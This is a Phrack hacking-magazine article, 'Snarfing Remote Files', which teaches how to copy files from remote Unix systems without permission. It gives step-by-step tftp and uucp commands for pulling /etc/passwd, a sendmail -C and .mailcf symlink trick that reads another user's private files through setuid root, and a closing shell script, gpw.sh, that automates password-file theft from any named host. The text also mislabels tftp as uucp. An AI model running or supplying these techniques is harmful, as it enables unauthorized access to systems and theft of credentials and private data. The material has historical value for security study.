| ==Phrack Inc.== | |
| Volume Three, Issue 28, File #6 of 12 | |
| +++++++++++++++++++++++++++++++++++++ | |
| + + | |
| + Snarfing Remote Files + | |
| + + | |
| + by + | |
| + + | |
| + Dark OverLord + | |
| + + | |
| +++++++++++++++++++++++++++++++++++++ | |
| There are many ways of getting copies of files from a remote | |
| system that you do not have permission to read or an account on | |
| login on to and access them through. Many administrators do not | |
| even bother to restrict many access points that you can use. | |
| Here are the simplest ways: | |
| A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy | |
| of a file if you are running on an Internet based network. | |
| B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy | |
| of a file if uucp connections are running on that system. | |
| C) Access one of many known security loopholes. | |
| In the following examples, we will use the passwd file as the | |
| file to acquire since it is a readable file that can be found on | |
| most systems that these attacks are valid on. | |
| Method A : | |
| 1) First start the tftp program: Enter the command: | |
| tftp | |
| [You have the following prompt:] | |
| tftp> | |
| 2) The next step is to connect to the system that you wish to | |
| retrieve files from. At the tftp, type: | |
| tftp> connect other.system.com | |
| 3) Now request the file you wish to get a copy of (in our case, the | |
| passwd file /etc/passwd ): | |
| tftp> get /etc/passwd /tmp/passwd | |
| [You should see something that looks like the following:] | |
| Received 185659 bytes in 22 seconds. | |
| 4) Now exit the tftp program with the "quit" command: | |
| tftp> quit | |
| You should now have a copy of other.system.com's passwd file in | |
| your directory. | |
| NOTE: Some Unix systems' tftp programs have a different syntax. | |
| The above was tested under SunOS 4.0 | |
| For example, on Apollos, the syntax is: | |
| tftp -{g|g!|p|r|w} <local file> <host> <foreign file> | |
| [netascii|image] | |
| Thus you must use the command: | |
| tftp -g password_file networked-host /etc/passwd | |
| Consult your local "man" pages for more info (or in other words | |
| RTFM). | |
| At the end of this article, I will include a shell script that | |
| will snarf a password file from a remote host. To use it type: | |
| gpw system_name | |
| Method B : | |
| Assuming we are getting the file /etc/passwd from the system | |
| uusucker, and our system has a direct uucp connection to that | |
| system, it is possible to request a copy of the file through the | |
| uucp links. The following command will request that a copy of | |
| the passwd file be copied into uucp's home directory | |
| /usr/spool/uucppublic : | |
| uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd' | |
| The flag "-m" means you will be notified by mail when the transfer is | |
| completed. | |
| Method C: | |
| The third possible way to access the desired file requires | |
| that you have the login permission to the system. | |
| In this case we will utilize a well-known bug in Unix's sendmail | |
| daemon. | |
| The sendmail program has and option "-C" in which you can specify | |
| the configuration file to use (by default this file is | |
| /usr/lib/sendmail.cf or /etc/sendmail.cf). It should also be | |
| noted that the diagnostics outputted by sendmail contain the | |
| offending lines of text. Also note that the sendmail program | |
| runs setuid root. | |
| The way you can abuse this set of facts (if you have not yet | |
| guessed) is by specifying the file you wish read as the | |
| configuration file. Thus the command: | |
| sendmail -C/usr/accounts/random_joe/private/file | |
| Will give you a copy of random joe's private file. | |
| Another similar trick is to symlink your .mailcf file to joe's | |
| file and mail someone. When mail executes sendmail (to send the | |
| mail), it will load in your .mailcf and barf out joe's stuff. | |
| First, link joe's file to your .mailcf . | |
| ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf | |
| Next, send mail to someone. | |
| mail C488869@umcvmb.missouri.edu | |
| And have fun. | |
| -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= | |
| : | |
| : gpw copyright(c) Dark Overlord | |
| : | |
| /usr/ucb/tftp $1 << EOF | |
| mode ascii | |
| verbose | |
| trace | |
| get /etc/passwd /tmp/pw.$1 | |
| quit | |
| EOF | |
| -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= | |
| ___________________________________________________________ | |